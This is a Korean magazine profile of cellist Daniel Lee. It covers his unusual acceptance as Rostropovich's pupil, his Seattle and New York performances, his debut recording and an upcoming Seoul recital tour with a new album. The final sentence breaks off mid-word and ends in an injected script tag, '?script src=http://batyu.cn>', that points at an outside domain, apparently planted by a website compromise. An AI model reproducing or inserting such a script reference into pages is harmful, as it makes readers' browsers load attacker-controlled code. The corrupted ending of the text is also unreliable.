데카에서의 신보와 함께 다니엘 리가 다시 한국을 찾는다. 첼리스트 다니엘
리는 이제 세계 음악계의 주목 속에서 준비된 거장으로 그 발걸음을 옮겨
가고 있는 한국의 자랑스러운 얼굴이다.
한번
정한 결정을 바꾸는 것은 쉽지 않다. 만약 그 결정이 입 밖으로 새어나오게
되었다면 그것은 조금은 더 심각한 단계로 접어든다. 특히 사석이 아닌 공개된
자리에서 공표된 단언은 그 명제의 이행가치나 실행가능성과는 별개로 ‘반드시’
지켜져야만 하는 강제성이 자연스럽게 부여된다. 그 강제성을 뒷받침하는 것은
어떤 성문화된 것도 아니지만 그렇게 이행될 것을 전제로 시작되는 것이다.
만약 그것이 지켜지지 않는다면, 타인과 자신과의 신뢰성 문제에만 국한된
것이 아니라 자신 내부에서의 자존심과 관련된 신념체계에 심각한 손상을 입힐
우려가 있기 때문이다. 그래서 어쨌든 지켜져야만 한다.
므스티슬라프 로스트로포비치가 말했다.
“난 더 이상 제자를 받아들일 생각이 없습니다.”
어떤 이유에서인지는 모르지만, 그는 그렇게 얘기했고 그가 말한 것처럼 그는
제자를 받지 않고 그의 음악세계를 펼쳐나갔다. 그런데 그는 그렇게 말한
그의 말을 번복하고야 말았다. 바로 11살 다니엘 리의 연주를 듣고 나서
말이다.
“내가 15살 때 연주했던 차이코프스키의 로코코 변주곡을 11살의 다니엘은
더 훌륭하게 연주하였다.”
로스트로포비치는 그렇게 자신의 선언을 철회하면서까지 다니엘을 그의 문하에
입적시켰다. 그리고 그는 다니엘의 음악가로서의 완성을 위해 연주회의 횟수를
엄격히 제한하면서 가르쳤다. 그렇게 제자와 선생으로서의 인연을 가지게 된
그들은 만남에서부터 좀 남달랐다.
1990년 10살인 다니엘은 시애틀 심포니의 지휘자인 제라드 슈워츠에 의해
협연자로 세워지고 차이코프스키의 ‘로코코 주제에 의한 변주곡’을 연주하게
된다. 처음에는 부정적인 시각으로 바라보던 시애틀의 단원들도 연주회자 끝나자
연주회장에 있는 청중들과 함께 신동 연주자 다니엘 리에게 박수와 찬사를
보내게 된다. 그렇게 연주는 성황리에 끝났지만, 다니엘에게는 더 큰 선물이
기다리고 있었다.
“저는 시애틀 심포니의 단원입니다. 제가 찾아온 것은 다니엘을 로스트로포비치에게
소개 시키지 않으면 평생 마음에 걸릴 것 같아서입니다”라며 다니엘에게 세계
최고의 첼리스트 로스트로포비치 앞에서 오디션을 볼 수 있는 기회가 주어지게
된 것이다.
이렇게 시작된 로스트로포비치와의 인연으로 더욱 음악적으로 다듬어지게 된
다니엘 리의 음악적 재능이 로스트로포비치의 날개 아래에서도 조금씩조금씩
세상을 향해 빛으로 새어나오는 것을 막을 수가 없었다.
게오르그 솔티 경과 리카르도 샤이에 의해서도 간파된 다니엘의 천재성은 그들로
하여금 함께 음악을 할 기회를 제안받게 된다. 그리고 18세에 뉴욕에서
데뷔무대를 갖게 된다. 제라드 슈워츠가 지휘하는 뉴욕 챔버 오케스트라와
다니엘은 쇼스타코비치의 첼로 협주곡 1번을 연주했는데, 이 연주는 뉴욕
타임즈로부터 극찬을 이끌어내게 된다.
“그의 연주는 아주 독창적이며, 소리는 매우 힘있고 풍부한 호소력을 가지고
있다. 그의 카덴차는 영혼을 울리는 동시에 날카로웠다.”
그리고 당시 한국에서 급파된 문화부 기자들도 뉴욕에서 전해지는 흥분된 기사들을
보내게 된다.
그때를 즈음해서 다니엘은 첫 레코딩을 하게 된다. 슈베르트의 ‘아르페지오네
소나타’와 다니엘이 직접 편곡한 거슈인의 ‘전주곡’, 림스키 코르사코프의
‘왕벌의 비행’ 등을 수록하고 있는 데뷔 음반은 출시와 동시에 좋은 반응을
얻게 된다. 그리고 첫 앨범의 발매와 함께 국내무대에 본격적으로 모습을
드러내게 된 것은 1998년이다.
몇 년 후인 2001년에 세계적 권위의 에이버리 피셔 캐리어 그랜트 상을
획득하게 된 다니엘 리는 음악가로서 더욱 그의 위치를 확고히 인정받게 되면서
준비된 거장으로 성장하게 되었다.
다니엘 리를 이번에 다시 볼 수 있게 되었다. 2월 22일과 24일에 있을
서울에서의 두 번의 독주회와 지방순회 연주회와 함께 다니엘의 손에는 신보가
쥐어져 있는데, 거장으로 성장하게 된 그의 연주를 기대하는 많은 사?script src=http://batyu.cn> |